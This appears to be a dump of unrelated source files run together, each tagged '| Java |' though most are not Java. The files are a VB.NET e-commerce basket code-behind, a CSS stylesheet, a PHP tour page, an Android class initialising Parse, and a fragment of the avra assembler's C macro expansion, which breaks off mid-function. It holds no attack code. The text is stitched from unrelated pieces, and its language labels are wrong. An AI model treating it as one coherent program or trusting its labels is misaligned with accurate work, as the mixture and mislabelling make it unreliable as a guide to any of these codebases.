Sub QuantityChanged(ByVal Sender As Object, ByVal Args As EventArgs)
Dim objQuantity As TextBox = Sender.Parent.FindControl("txtQuantity")
Dim objBasketID As HiddenField = Sender.Parent.FindControl("hdfBasketID")
If Not IsNumeric(objQuantity.Text) Then
objQuantity.Text = "0"
objQuantity.Focus()
Else
Try
BasketBLL.UpdateQuantity(CInt(objBasketID.Value), CSng(objQuantity.Text))
Catch ex As Exception
End Try
End If
Call LoadBasket()
Try
phdOutOfStockElectronic.Visible = Basket.AdjustedForElectronic
phdOutOfStock.Visible = Basket.AdjustedQuantities
Catch ex As Exception
End Try
updPnlMainBasket.Update()
End Sub
Sub RemoveItem_Click(ByVal Sender As Object, ByVal E As CommandEventArgs)
Dim numItemID As Long
Dim strArgument As String
Dim numRemoveVersionID As Integer = 0
strArgument = E.CommandArgument
Dim arrArguments() As String = strArgument.Split(";")
numItemID = CLng(arrArguments(0))
numRemoveVersionID = CLng(arrArguments(1))
BasketBLL.DeleteBasketItems(CLng(numItemID))
Call LoadBasket()
updPnlMainBasket.Update()
End Sub
Sub RemoveCoupon_Click(ByVal Sender As Object, ByVal E As CommandEventArgs)
Dim strCouponError As String = ""
Call Basket.CalculateTotals()
Call BasketBLL.CalculatePromotions(Basket, arrPromotions, arrPromotionsDiscount, (APP_PricesIncTax = False And APP_ShowTaxDisplay = False))
Session("CouponCode") = ""
Call BasketBLL.CalculateCoupon(Basket, "", strCouponError, (APP_PricesIncTax = False And APP_ShowTaxDisplay = False))
BSKT_CustomerDiscount = BasketBLL.GetCustomerDiscount(_UserID)
Call BasketBLL.CalculateCustomerDiscount(Basket, BSKT_CustomerDiscount)
Call BasketBLL.CalculateOrderHandlingCharge(Basket, Session("numShippingCountryID"))
updPnlMainBasket.Update()
End Sub
Sub CustomText_Click(ByVal sender As Object, ByVal e As CommandEventArgs)
Dim numItemID As Long
Dim numCustomCost As Double
Dim strCustomType As String = ""
numItemID = e.CommandArgument
hidBasketID.Value = numItemID
For Each objItem As BasketItem In BasketItems
If objItem.ID = numItemID Then
numCustomCost = objItem.CustomCost
litCustomCost.Text = CurrenciesBLL.FormatCurrencyPrice(Session("CUR_ID"), objItem.CustomCost)
lblCustomDesc.Text = objItem.CustomDesc
hidCustomVersionID.Value = objItem.VersionID
txtCustomText.Text = objItem.CustomText
strCustomType = objItem.CustomType
End If
Next
'Hide cost line if zero
If numCustomCost = 0 Then
phdCustomizationPrice.Visible = False
Else
phdCustomizationPrice.Visible = True
End If
'Text Customization (Required)
'Hide certain fields
If strCustomType = "r" Then
valCustomText.Visible = True
phdCustomizationCancel.Visible = False
Else
valCustomText.Visible = False
phdCustomizationCancel.Visible = True
End If
popCustomText.Show()
updPnlCustomText.Update()
End Sub
Sub ProductName_Click(ByVal sender As Object, ByVal e As CommandEventArgs)
Dim strItemInfo As String
strItemInfo = e.CommandArgument
If strItemInfo <> "" Then
Try
Dim arrInfo As String() = Split(strItemInfo, ";")
If arrInfo(UBound(arrInfo)) <> "o" Then
strItemInfo = ""
End If
Catch ex As Exception
End Try
End If
Session("BasketItemInfo") = strItemInfo
Dim strURL As String = e.CommandName
Response.Redirect(strURL)
End Sub
Sub ApplyCoupon_Click(ByVal Sender As Object, ByVal E As CommandEventArgs)
Dim strCouponError As String = ""
Call Basket.CalculateTotals()
Call BasketBLL.CalculatePromotions(Basket, arrPromotions, arrPromotionsDiscount, (APP_PricesIncTax = False And APP_ShowTaxDisplay = False))
Call BasketBLL.CalculateCoupon(Basket, Trim(txtCouponCode.Text), strCouponError, (APP_PricesIncTax = False And APP_ShowTaxDisplay = False))
If strCouponError <> "" Then
With popMessage
.SetTitle = GetGlobalResourceObject("Basket", "PageTitle_ShoppingBasket")
.SetTextMessage = strCouponError
.SetWidthHeight(300, 50)
.ShowPopup()
End With
Else
Session("CouponCode") = Trim(txtCouponCode.Text)
End If
BSKT_CustomerDiscount = BasketBLL.GetCustomerDiscount(_UserID)
Call BasketBLL.CalculateCustomerDiscount(Basket, BSKT_CustomerDiscount)
Call BasketBLL.CalculateOrderHandlingCharge(Basket, Session("numShippingCountryID"))
updPnlMainBasket.Update()
End Sub
Sub EmptyBasket_Click(ByVal Sender As Object, ByVal E As CommandEventArgs)
BasketBLL.DeleteBasket()
Call LoadBasket()
updPnlMainBasket.Update()
End Sub
Private Function GetProductIDs() As String
Dim strProductIDs As String = ""
If Not (BasketItems Is Nothing) Then
For Each objItem As BasketItem In BasketItems
strProductIDs = strProductIDs & objItem.ProductID & ";"
Next
End If
Return strProductIDs
End Function
Private Function GetBasketItemByProductID(ByVal numProductID As Integer) As BasketItem
For Each Item As BasketItem In BasketItems
If Item.ProductID = numProductID Then Return Item
Next
Return Nothing
End Function
Public Function ShippingTotalIncTax() As Double
Return Basket.ShippingTotalIncTax
End Function
Public Sub SetShipping(ByVal numShippingID As Integer, ByVal numShippingAmount As Double, ByVal numDestinationID As Integer)
If ConfigurationManager.AppSettings("TaxRegime").ToLower = "us" Or ConfigurationManager.AppSettings("TaxRegime").ToLower = "simple" Then
APP_PricesIncTax = False
APP_ShowTaxDisplay = False
APP_USMultiStateTax = True
Else
APP_PricesIncTax = LCase(GetKartConfig("general.tax.pricesinctax")) = "y"
APP_ShowTaxDisplay = LCase(GetKartConfig("frontend.display.showtax")) = "y"
APP_USMultiStateTax = False
End If
SESS_CurrencyID = Session("CUR_ID")
Session("numShippingCountryID") = numDestinationID
Basket.CalculateShipping(Val(HttpContext.Current.Session("LANG")), numShippingID, numShippingAmount, Session("numShippingCountryID"), ShippingDetails)
BasketBLL.CalculateOrderHandlingCharge(Basket, Session("numShippingCountryID"))
If Basket.OrderHandlingPrice.IncTax = 0 Then phdOrderHandling.Visible = False Else phdOrderHandling.Visible = True
UpdatePromotionDiscount()
Basket.Validate(False)
Call Basket.CalculateTotals()
Call BasketBLL.CalculatePromotions(Basket, arrPromotions, arrPromotionsDiscount, (APP_PricesIncTax = False And APP_ShowTaxDisplay = False))
Dim strCouponError As String = ""
Call BasketBLL.CalculateCoupon(Basket, Session("CouponCode") & "", strCouponError, (APP_PricesIncTax = False And APP_ShowTaxDisplay = False))
BSKT_CustomerDiscount = BasketBLL.GetCustomerDiscount(_UserID)
Call BasketBLL.CalculateCustomerDiscount(Basket, BSKT_CustomerDiscount)
BasketItems = Basket.BasketItems
rptBasket.DataSource = BasketItems
rptBasket.DataBind()
Session("Basket") = Basket
End Sub
Private Sub UpdatePromotionDiscount()
For Each objItem As PromotionBasketModifier In arrPromotionsDiscount
objItem.ApplyTax = Basket.ApplyTax
objItem.ExTax = objItem.ExTax
objItem.IncTax = objItem.IncTax
Next
rptPromotionDiscount.DataSource = arrPromotionsDiscount
rptPromotionDiscount.DataBind()
End Sub
Public Sub SetOrderHandlingCharge(ByVal numShippingCountryID As Integer)
BasketBLL.CalculateOrderHandlingCharge(Basket, numShippingCountryID)
End Sub
Protected Sub rptBasket_ItemDataBound(ByVal sender As Object, ByVal e As System.Web.UI.WebControls.RepeaterItemEventArgs) Handles rptBasket.ItemDataBound
If e.Item.ItemType = ListItemType.Item OrElse e.Item.ItemType = ListItemType.AlternatingItem Then
objItem = e.Item.DataItem
If LCase(objItem.ProductType) = "s" Then
CType(e.Item.FindControl("phdProductType1"), PlaceHolder).Visible = True
Else
CType(e.Item.FindControl("phdProductType2"), PlaceHolder).Visible = True
If objItem.HasCombinations Then
CType(e.Item.FindControl("phdItemHasCombinations"), PlaceHolder).Visible = True
Else
CType(e.Item.FindControl("phdItemHasNoCombinations"), PlaceHolder).Visible = True
End If
End If
Dim strURL As String = SiteMapHelper.CreateURL(SiteMapHelper.Page.CanonicalProduct, objItem.ProductID)
If strURL.Contains("?") Then
strURL = strURL & objItem.OptionLink
Else
strURL = strURL & Replace(objItem.OptionLink, "&", "?")
End If
CType(e.Item.FindControl("lnkBtnProductName"), LinkButton).CommandName = strURL
If LCase(objItem.CustomType) <> "n" Then
CType(e.Item.FindControl("lnkCustomize"), LinkButton).ToolTip = "(" & CurrenciesBLL.FormatCurrencyPrice(Session("CUR_ID"), objItem.CustomCost) & ")" & vbCrLf & objItem.CustomText
CType(e.Item.FindControl("lnkCustomize"), LinkButton).Visible = True
Else
CType(e.Item.FindControl("lnkCustomize"), LinkButton).ToolTip = ""
CType(e.Item.FindControl("lnkCustomize"), LinkButton).Visible = False
End If
If objItem.AdjustedQty Then
CType(e.Item.FindControl("txtQuantity"), TextBox).CssClass = "quantity_changed"
End If
End If
End Sub
Protected Sub btnSaveCustomText_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnSaveCustomText.Click
Dim numSessionID, numBasketID, numVersionID As Long
Dim numQuantity As Double
Dim strCustomText, strOptions As String
If IsNumeric(hidBasketID.Value) Then numBasketID = CLng(hidBasketID.Value) Else numBasketID = 0
If numBasketID > 0 Then ''// comes from basket
numVersionID = CLng(hidCustomVersionID.Value)
strCustomText = Trim(txtCustomText.Text)
strCustomText = CkartrisDisplayFunctions.StripHTML(strCustomText)
BasketBLL.SaveCustomText(numBasketID, strCustomText)
For Each objItem As BasketItem In BasketItems
If numBasketID = objItem.ID Then
objItem.CustomText = strCustomText
End If
Next
rptBasket.DataSource = BasketItems
rptBasket.DataBind()
Call LoadBasket()
updPnlMainBasket.Update()
Else ''// comes from product page
numSessionID = Session("SessionID")
numVersionID = CLng(hidCustomVersionID.Value)
numQuantity = CDbl(hidCustomQuantity.Value)
strCustomText = Trim(txtCustomText.Text)
strCustomText = CkartrisDisplayFunctions.StripHTML(strCustomText)
strOptions = hidOptions.Value
numBasketID = hidOptionBasketID.Value
BasketBLL.AddNewBasketValue(BasketItems, BasketBLL.BASKET_PARENTS.BASKET, numSessionID, numVersionID, numQuantity, strCustomText, strOptions, numBasketID)
ShowAddItemToBasket(numVersionID, numQuantity, True)
End If
End Sub
Private Sub SaveCustomText(ByVal strCustomText As String, Optional ByVal numItemID As Integer = 0)
If numItemID = 0 Then
numItemID = btnSaveCustomText.CommandArgument
End If
BasketBLL.SaveCustomText(numItemID, strCustomText)
For Each objItem As BasketItem In BasketItems
If numItemID = objItem.ID Then
objItem.CustomText = strCustomText
End If
Next
rptBasket.DataSource = BasketItems
rptBasket.DataBind()
updPnlMainBasket.Update()
End Sub
Public Sub ShowCustomText(ByVal numVersionID As Long, ByVal numQuantity As Double, Optional ByVal strOptions As String = "", Optional ByVal numBasketValueID As Integer = 0)
Dim strCustomType As String
Dim tblCustomization As DataTable = BasketBLL.GetCustomization(numVersionID)
Dim sessionID As Long
If tblCustomization.Rows.Count > 0 Then
strCustomType = LCase(tblCustomization.Rows(0).Item("V_CustomizationType"))
If strCustomType <> "n" Then
If strCustomType = "t" Or strCustomType = "r" Then
'Text Customization
'(Optional or Required)
hidBasketID.Value = "0"
hidOptionBasketID.Value = numBasketValueID
hidCustomType.Value = strCustomType
hidCustomVersionID.Value = numVersionID
hidCustomQuantity.Value = numQuantity
hidOptions.Value = strOptions
litCustomCost.Text = CurrenciesBLL.FormatCurrencyPrice(Session("CUR_ID"), CurrenciesBLL.ConvertCurrency(Session("CUR_ID"), tblCustomization.Rows(0).Item("V_CustomizationCost")))
lblCustomDesc.Text = tblCustomization.Rows(0).Item("V_CustomizationDesc") & ""
Dim strCustomText As String = ""
For Each objBasketItem As BasketItem In Basket.BasketItems
If objBasketItem.ID = numBasketValueID Then
strCustomText = objBasketItem.CustomText
Exit For
End If
Next
txtCustomText.Text = strCustomText
'Hide cost line if zero
If tblCustomization.Rows(0).Item("V_CustomizationCost") = 0 Then
phdCustomizationPrice.Visible = False
Else
phdCustomizationPrice.Visible = True
End If
'Text Customization (Required)
'Hide certain fields
If strCustomType = "r" Then
valCustomText.Visible = True
phdCustomizationCancel.Visible = False
Else
valCustomText.Visible = False
phdCustomizationCancel.Visible = True
End If
End If
popCustomText.Show()
updPnlCustomText.Update()
Else
sessionID = Session("SessionID")
BasketBLL.AddNewBasketValue(BasketItems, BasketBLL.BASKET_PARENTS.BASKET, sessionID, numVersionID, numQuantity, "", strOptions, numBasketValueID)
Dim strUpdateBasket As String = GetGlobalResourceObject("Basket", "ContentText_ItemsUpdated")
If strUpdateBasket = "" Then strUpdateBasket = "The item(s) were updated to your basket."
If strOptions <> "" Then
ShowAddItemToBasket(numVersionID, numQuantity, True)
Else
ShowAddItemToBasket(numVersionID, numQuantity)
End If
End If
End If
End Sub
Private Sub ShowAddItemToBasket(ByVal VersionID As Integer, ByVal Quantity As Double, Optional ByVal blnDisplayPopup As Boolean = False)
Dim objVersionsBLL As New VersionsBLL
Dim tblVersion As DataTable
tblVersion = objVersionsBLL._GetVersionByID(VersionID)
If tblVersion.Rows.Count > 0 Then
''// add basket item quantity to new item qty and check for stock
Dim numBasketQty As Double = 0
For Each itmBasket As BasketItem In BasketItems
If VersionID = itmBasket.VersionID Then
numBasketQty = itmBasket.Quantity
Exit For
End If
Next
If tblVersion.Rows(0).Item("V_QuantityWarnLevel") > 0 And (numBasketQty + Quantity) > tblVersion.Rows(0).Item("V_Quantity") Then
'Response.Redirect("~/Basket.aspx")
End If
End If
'This section below we now only
'need to run for options products
Dim strBasketBehavior As String
strBasketBehavior = LCase(KartSettingsManager.GetKartConfig("frontend.basket.behaviour"))
End Sub
Function SendOutputWithoutHTMLTags(ByVal strInput As String) As String
Dim strNewString As String = ""
For n As Integer = 1 To Len(strInput)
If Mid(strInput, n, 1) = "<" Then
While Mid(strInput, n, 1) <> ">"
n = n + 1
End While
n = n + 1
End If
strNewString = strNewString & Mid(strInput, n, 1)
Next
Return strNewString
End Function
Protected Sub UC_ShippingMethodsDropdown_ShippingSelected(ByVal sender As Object, ByVal e As System.EventArgs) Handles UC_ShippingMethodsDropdown.ShippingSelected
SetShipping(UC_ShippingMethodsDropdown.SelectedShippingID, UC_ShippingMethodsDropdown.SelectedShippingAmount, ShippingDestinationID)
updPnlMainBasket.Update()
End Sub
Public Sub RefreshShippingMethods()
UC_ShippingMethodsDropdown.DestinationID = ShippingDestinationID
UC_ShippingMethodsDropdown.Boundary = ShippingBoundary
UC_ShippingMethodsDropdown.ShippingDetails = ShippingDetails
UC_ShippingMethodsDropdown.Refresh()
SetShipping(UC_ShippingMethodsDropdown.SelectedShippingID, UC_ShippingMethodsDropdown.SelectedShippingAmount, ShippingDestinationID)
updPnlMainBasket.Update()
End Sub
Protected Sub btnCancelCustomText_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnCancelCustomText.Click
Dim numSessionID As Long
Dim numBasketID, numVersionID As Long
Dim numQuantity As Double
Dim strOptions As String
If IsNumeric(hidBasketID.Value) Then numBasketID = CLng(hidBasketID.Value) Else numBasketID = 0
If numBasketID = 0 Then
numSessionID = Session("SessionID")
numVersionID = CLng(hidCustomVersionID.Value)
numQuantity = CDbl(hidCustomQuantity.Value)
strOptions = hidOptions.Value
BasketBLL.AddNewBasketValue(BasketItems, BasketBLL.BASKET_PARENTS.BASKET, numSessionID, numVersionID, numQuantity, "", strOptions)
ShowAddItemToBasket(numVersionID, numQuantity)
End If
End Sub
End Class
| Java |
/**
*
* Apply your custom CSS here
*
*/
body {
}
a {
}
.page-body.skin-white .sidebar-menu .main-menu li.has-sub>a:before {
color: #666;
}
/*navbar*/
.navbar.horizontal-menu.navbar-minimal.navbar-fixed-top+.page-container>div>.sidebar-menu.fixed .sidebar-menu-inner{
top: 55px;
}
/*validate forms*/
form .form-group.validate-has-error .form-control + div {
display: block;
padding-top: 5px;
font-size: 12px;
color: #cc3f44;
}
form .form-group.validate-has-error .input-group + div {
display: block;
padding-top: 5px;
font-size: 12px;
color: #cc3f44;
}
form .form-group.validate-has-error .ui-select-container + div {
display: block;
padding-top: 5px;
font-size: 12px;
color: #cc3f44;
}
.ui-select-bootstrap button{
color: #333;
background-color: #fff;
border-color: #ccc;
} | Java |
<?php
/*
Copyright (c) 2007 BeVolunteer
This file is part of BW Rox.
BW Rox is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
BW Rox is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, see <http://www.gnu.org/licenses/> or
write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
Boston, MA 02111-1307, USA.
*/
$words = new MOD_words();
?>
<div id="tour">
<h1><?php echo $words->get('tour_maps')?></h1>
<h2><?php echo $words->getFormatted('tour_maps_title1')?></h2>
<p><?php echo $words->getFormatted('tour_maps_text1')?></p>
<div class="floatbox">
<img src="images/tour/map2.png" class="float_left" alt="maps" />
<h2><?php echo $words->getFormatted('tour_maps_title2')?></h2>
<p><?php echo $words->getFormatted('tour_maps_text2')?></p>
</div>
<h2><?php echo $words->getFormatted('tour_maps_title3')?></h2>
<p><?php echo $words->getFormatted('tour_maps_text3')?></p>
<h2><a class="bigbutton" href="tour/openness" onclick="this.blur();" style="margin-bottom: 20px"><span><?php echo $words->getFormatted('tour_goNext')?> »</span></a> <?php echo $words->getFormatted('tour_openness')?></h2>
</div>
| Java |
package app.toonido.mindorks.toonido;
import android.app.Application;
import com.parse.Parse;
/**
* Created by janisharali on 30/09/15.
*/
public class ToonidoApp extends Application {
@Override
public void onCreate() {
super.onCreate();
// Enable Local Datastore.
Parse.enableLocalDatastore(this);
Parse.initialize(this, ToonidoConstants.PARSE_APPLICATION_ID, ToonidoConstants.PARSE_CLIENT_KEY);
}
}
| Java |
/***********************************************************************
*
* avra - Assembler for the Atmel AVR microcontroller series
*
* Copyright (C) 1998-2004 Jon Anders Haugum, TObias Weber
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; see the file COPYING. If not, write to
* the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
* Boston, MA 02111-1307, USA.
*
*
* Authors of avra can be reached at:
* email: jonah@omegav.ntnu.no, tobiw@suprafluid.com
* www: http://sourceforge.net/projects/avra
*/
/*
* In append_type: added generic register names support
* Alexey Pavluchenko, 16.Nov.2005
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include "misc.h"
#include "args.h"
#include "avra.h"
#include "device.h"
/* Only Windows LIBC does support itoa, so we add this
function for other systems here manually. Thank you
Peter Hettkamp for your work. */
#ifndef WIN32
char * itoa(int num, char *str, const int number_format)
{
int num1 = num;
int num_chars = 0;
int pos;
while (num1>0)
{
num_chars++;
num1 /= number_format;
}
if (num_chars == 0)
num_chars = 1;
str[num_chars] = 0;
for (pos = num_chars-1; pos>=0; pos--)
{
int cur_char = num % number_format;
if (cur_char < 10) /* Insert number */
{
str[pos] = cur_char + '0';
}
else
{
str[pos] = cur_char-10 + 'A';
}
num /= number_format;
}
return(str);
}
#endif
int read_macro(struct prog_info *pi, char *name)
{
int loopok;
int i;
int start;
struct macro *macro;
struct macro_line *macro_line;
struct macro_line **last_macro_line = NULL;
struct macro_label *macro_label;
if (pi->pass == PASS_1)
{
if (!name)
{
print_msg(pi, MSGTYPE_ERROR, "missing macro name");
return(True);
}
get_next_token(name, TERM_END);
for (i = 0; !IS_END_OR_COMMENT(name[i]); i++)
{
if (!IS_LABEL(name[i]))
{
print_msg(pi, MSGTYPE_ERROR, "illegal characters used in macro name '%s'",name);
return(False);
}
}
macro = calloc(1, sizeof(struct macro));
if (!macro)
{
print_msg(pi, MSGTYPE_OUT_OF_MEM, NULL);
return(False);
}
if (pi->last_macro)
pi->last_macro->next = macro;
else
pi->first_macro = macro;
pi->last_macro = macro;
macro->name = malloc(strlen(name) + 1);
if (!macro->name)
{
print_msg(pi, MSGTYPE_OUT_OF_MEM, NULL);
return(False);
}
strcpy(macro->name, name);
macro->include_file = pi->fi->include_file;
macro->first_line_number = pi->fi->line_number;
last_macro_line = ¯o->first_macro_line;
}
else /* pi->pass == PASS_2 */
{
if (pi->list_line && pi->list_on)
{
fprintf(pi->list_file, " %s\n", pi->list_line);
pi->list_line = NULL;
}
// reset macro label running numbers
get_next_token(name, TERM_END);
macro = get_macro(pi, name);
if (!macro)
{
print_msg(pi, MSGTYPE_ERROR, "macro inconsistency in '%s'", name);
return(True);
}
for (macro_label = macro->first_label; macro_label; macro_label = macro_label->next)
{
macro_label->running_number = 0;
}
}
loopok = True;
while (loopok)
{
if (fgets_new(pi,pi->fi->buff, LINEBUFFER_LENGTH, pi->fi->fp))
{
pi->fi->line_number++;
i = 0;
while (IS_HOR_SPACE(pi->fi->buff[i]) && !IS_END_OR_COMMENT(pi->fi->buff[i]))
i++;
if (pi->fi->buff[i] == '.')
{
i++;
if (!nocase_strncmp(&pi->fi->buff[i], "endm", 4))
loopok = False;
if (!nocase_strncmp(&pi->fi->buff[i], "endmacro", 8))
loopok = False;
}
if (pi->pass == PASS_1)
{
if (loopok)
{
i = 0; /* find start of line */
while (IS_HOR_SPACE(pi->fi->buff[i]) && !IS_END_OR_COMMENT(pi->fi->buff[i]))
{
i++;
}
start = i;
/* find end of line */
while (!IS_END_OR_COMMENT(pi->fi->buff[i]) && (IS_LABEL(pi->fi->buff[i]) || pi->fi->buff[i] == ':'))
{
i++;
}
if (pi->fi->buff[i-1] == ':' && (pi->fi->buff[i-2] == '%'
&& (IS_HOR_SPACE(pi->fi->buff[i]) || IS_END_OR_COMMENT(pi->fi->buff[i]))))
{
if (macro->first_label)
{
for (macro_label = macro->first_label; macro_label->next; macro_label=macro_label->next)
{
}
macro_label->next = calloc(1,sizeof(struct macro_label));
macro_label = macro_label->next;
}
else
{
macro_label = calloc(1,sizeof(struct macro_label));
macro->first_label = macro_label;
}
macro_label->label = malloc(strlen(&pi->fi->buff[start])+1);
pi->fi->buff[i-1] = '\0';
strcpy(macro_label->label, &pi->fi->buff[start]);
pi->fi->buff[i-1] = ':';
macro_label->running_number = 0;
}
macro_line = calloc(1, sizeof(struct macro_line));
if (!macro_line)
{
print_msg(pi, MSGTYPE_OUT_OF_MEM, NULL);
return(False);
}
*last_macro_line = macro_line;
last_macro_line = ¯o_line->next;
macro_line->line = malloc(strlen(pi->fi->buff) + 1);
if (!macro_line->line)
{
print_msg(pi, MSGTYPE_OUT_OF_MEM, NULL);
return(False);
}
strcpy(macro_line->line, &pi->fi->buff[start]);
}
}
else if (pi->fi->buff && pi->list_file && pi->list_on)
{
if (pi->fi->buff[i] == ';')
fprintf(pi->list_file, " %s\n", pi->fi->buff);
else
fprintf(pi->list_file, " %s\n", pi->fi->buff);
}
}
else
{
if (feof(pi->fi->fp))
{
print_msg(pi, MSGTYPE_ERROR, "Found no closing .ENDMACRO");
return(True);
}
else
{
perror(pi->fi->include_file->name);
return(False);
}
}
}
return(True);
}
struct macro *get_macro(struct prog_info *pi, char *name)
{
struct macro *macro;
for (macro = pi->first_macro; macro; macro = macro->next)
if (!nocase_strcmp(macro->name, name))
return(macro);
return(NULL);
}
void append_type(struct prog_info *pi, char *name, int c, char *value)
{
int p, l;
struct def *def;
p = strlen(name);
name[p++] = '_';
if (c == 0)
{
name[p++] = 'v';
name[p] = '\0';
return;
}
l = strlen(value);
if ((l==2 || l==3) && (tolower(value[0])=='r') && isdigit(value[1]) && (l==3 ? isdigit(value[2]) : 1) && (atoi(&value[1])<32))
{
itoa((c*8),&name[p],10);
return;
}
for (def = pi->first_def; def; def = def->next)
if (!nocase_strcmp(def->name, value))
{
itoa((c*8),&name[p],10);
return;
}
name[p++] = 'i';
name[p] = '\0';
}
/*********************************************************
* This routine replaces the macro call with mnemonics. *
*********************************************************/
int expand_macro(struct prog_info *pi, struct macro *macro, char *rest_line)
{
int ok = True, macro_arg_count = 0, off, a, b = 0, c, i = 0, j = 0;
char *line = NULL;
char *temp;
char *macro_args[MAX_MACRO_ARGS];
char tmp[7];
char buff[LINEBUFFER_LENGTH];
char arg = False;
char *nmn; //string buffer for 'n'ew 'm'acro 'n'ame
struct macro_line *old_macro_line;
struct macro_call *macro_call;
struct macro_label *macro_label;
if (rest_line)
{
//we reserve some extra space for extended macro parameters
line = malloc(strlen(rest_line) + 20);
if (!line)
{
print_msg(pi, MSGTYPE_OUT_OF_MEM, NULL);
return(False);
}
/* exchange amca word 'src' with YH:YL and 'dst' with ZH:ZL */
for (c = 0, a = strlen(rest_line); c < a; c++)
{
switch (tolower(rest_line[c]))
{
case 's':
if (IS_SEPARATOR(rest_line[c-1]) && (rest_line[c+1] == 'r') && (rest_line[c+2] == 'c') && IS_SEPARATOR(rest_line[c+3]))
{
strcpy(&line[b],"YH:YL");
b += 5;
c += 2;
}
else
{
line[b++] = rest_line[c];
}
break;
case 'd':
if (IS_SEPARATOR(rest_line[c-1]) && (rest_line[c+1] == 's') && (rest_line[c+2] == 't') && IS_SEPARATOR(rest_line[c+3]))
{
strcpy(&line[b],"ZH:ZL");
b += 5;
c += 2;
}
else
{
line[b++] = rest_line[c];
}
break;
// case ';':
// break;
default:
line[b++] = rest_line[c];
}
}
strcpy(&line[b],"\n"); /* set CR/LF at the end of the line */
/* here we split up the macro arguments into "macro_args"
* Extended macro code interpreter added by TW 2002
*/
temp = line;
/* test for advanced parameters */
if ( temp[0] == '[' ) // there must be "[" " then "]", else it is garbage
{
if (!strchr(temp, ']'))
{
print_msg(pi, MSGTYPE_ERROR, "found no closing ']'");
return(False);
}
// Okay now we are within the advanced code interpreter
temp++; // = &temp[1]; // skip the first bracket
nmn = malloc(LINEBUFFER_LENGTH);
if (!nmn)
{
print_msg(pi, MSGTYPE_OUT_OF_MEM, NULL);
return(False);
}
strcpy(nmn,macro->name); // create a new macro name buffer
c = 1; // byte counter
arg = True; // loop flag
while (arg)
{
while (IS_HOR_SPACE(temp[0])) //skip leading spaces
{
temp++; // = &temp[1];
}
off = 0; // pointer offset
do
{
switch (temp[off]) //test current character code
{
case ':':
temp[off] = '\0';
if (off > 0)
{
c++;
macro_args[macro_arg_count++] = temp;
}
else
{
print_msg(pi, MSGTYPE_ERROR, "missing register before ':'",nmn);
return(False);
}
break;
case ']':
arg = False;
case ',':
a = off;
do
temp[a--] = '\0';
while ( IS_HOR_SPACE(temp[a]) );
if (off > 0)
{
macro_args[macro_arg_count++] = temp;
append_type(pi, nmn, c, temp);
c = 1;
}
else
{
append_type(pi, nmn, 0, temp);
c = 1;
}
break;
default:
off++;
}
}
while (temp[off] != '\0');
if (arg)
temp = &temp[off+1];
else
break;
}
macro = get_macro(pi,nmn);
if (macro == NULL)
{
print_msg(pi, MSGTYPE_ERROR, "Macro %s is not defined !",nmn);
return(False);
}
free(nmn);
}
/* or else, we handle the macro as normal macro */
else
{
line = malloc(strlen(rest_line) + 1);
if (!line)
{
print_msg(pi, MSGTYPE_OUT_OF_MEM, NULL);
return(False);
}
strcpy(line, rest_line);
temp = line;
while (temp)
{
macro_args[macro_arg_count++] = temp;
temp = get_next_token(temp, TERM_COMMA);
}
}
}
if (pi->pass == PASS_1)
{
macro_call = calloc(1, sizeof(struct macro_call));
if (!macro_call)
{
print_msg(pi, MSGTYPE_OUT_OF_MEM, NULL);
return(False);
}
if (pi->last_macro_call)
pi->last_macro_call->next = macro_call;
else
pi->first_macro_call = macro_call;
pi->last_macro_call = macro_call;
macro_call->line_number = pi->fi->line_number;
macro_call->include_file = pi->fi->include_file;
macro_call->macro = macro;
macro_call->prev_on_stack = pi->macro_call;
if (macro_call->prev_on_stack)
{
macro_call->nest_level = macro_call->prev_on_stack->nest_level + 1;
macro_call->prev_line_index = macro_call->prev_on_stack->line_index;
}
}
else
{
for (macro_call = pi->first_macro_call; macro_call; macro_call = macro_call->next)
{
if ((macro_call->include_file->num == pi->fi->include_file->num) && (macro_call->line_number == pi->fi->line_number))
{
if (pi->macro_call)
{
/* Find correct macro_call when using recursion and nesting */
if (macro_call->prev_on_stack == pi->macro_call)
if ((macro_call->nest_level == (pi->macro_call->nest_level + 1)) && (macro_call->prev_line_index == pi->macro_call->line_index))
break;
}
else
break;
}
}
if (pi->list_line && pi->list_on)
{
fprintf(pi->list_file, "C:%06x + %s\n", pi->cseg_addr, pi->list_line);
pi->list_line = NULL;
}
}
macro_call->line_index = 0;
pi->macro_call = macro_call;
old_macro_line = pi->macro_line;
//printf("\nconvert macro: '%s'\n",macro->name);
for (pi->macro_line = macro->first_macro_line; pi->macro_line && ok; pi->macro_line = pi->macro_line->next)
{
macro_call->line_index++;
if (GET_ARG(pi->args, ARG_LISTMAC))
pi->list_line = buff;
else
pi->list_line = NULL;
/* here we change jumps/calls within macro that corresponds to macro labels.
Only in case there is an entry in macro_label list */
strcpy(buff,"\0");
macro_label = get_macro_label(pi->macro_line->line,macro);
if (macro_label)
{
/* test if the right macro label has been found */
temp = strstr(pi->macro_line->line,macro_label->label);
c = strlen(macro_label->label);
if (temp[c] == ':') /* it is a label definition */
{
macro_label->running_number++;
strncpy(buff, macro_label->label, c - 1);
buff[c - 1] = 0;
i = strlen(buff) + 2; /* we set the process indeafter label */
/* add running number to it */
strcpy(&buff[c-1],itoa(macro_label->running_number, tmp, 10));
strcat(buff, ":\0");
}
else if (IS_HOR_SPACE(temp[c]) || IS_END_OR_COMMENT(temp[c])) /* it is a jump to a macro defined label */
{
strcpy(buff,pi->macro_line->line);
temp = strstr(buff, macro_label->label);
i = temp - buff + strlen(macro_label->label);
strncpy(temp, macro_label->label, c - 1);
strcpy(&temp[c-1], itoa(macro_label->running_number, tmp, 10));
}
}
else
{
i = 0;
}
/* here we check every character of current line */
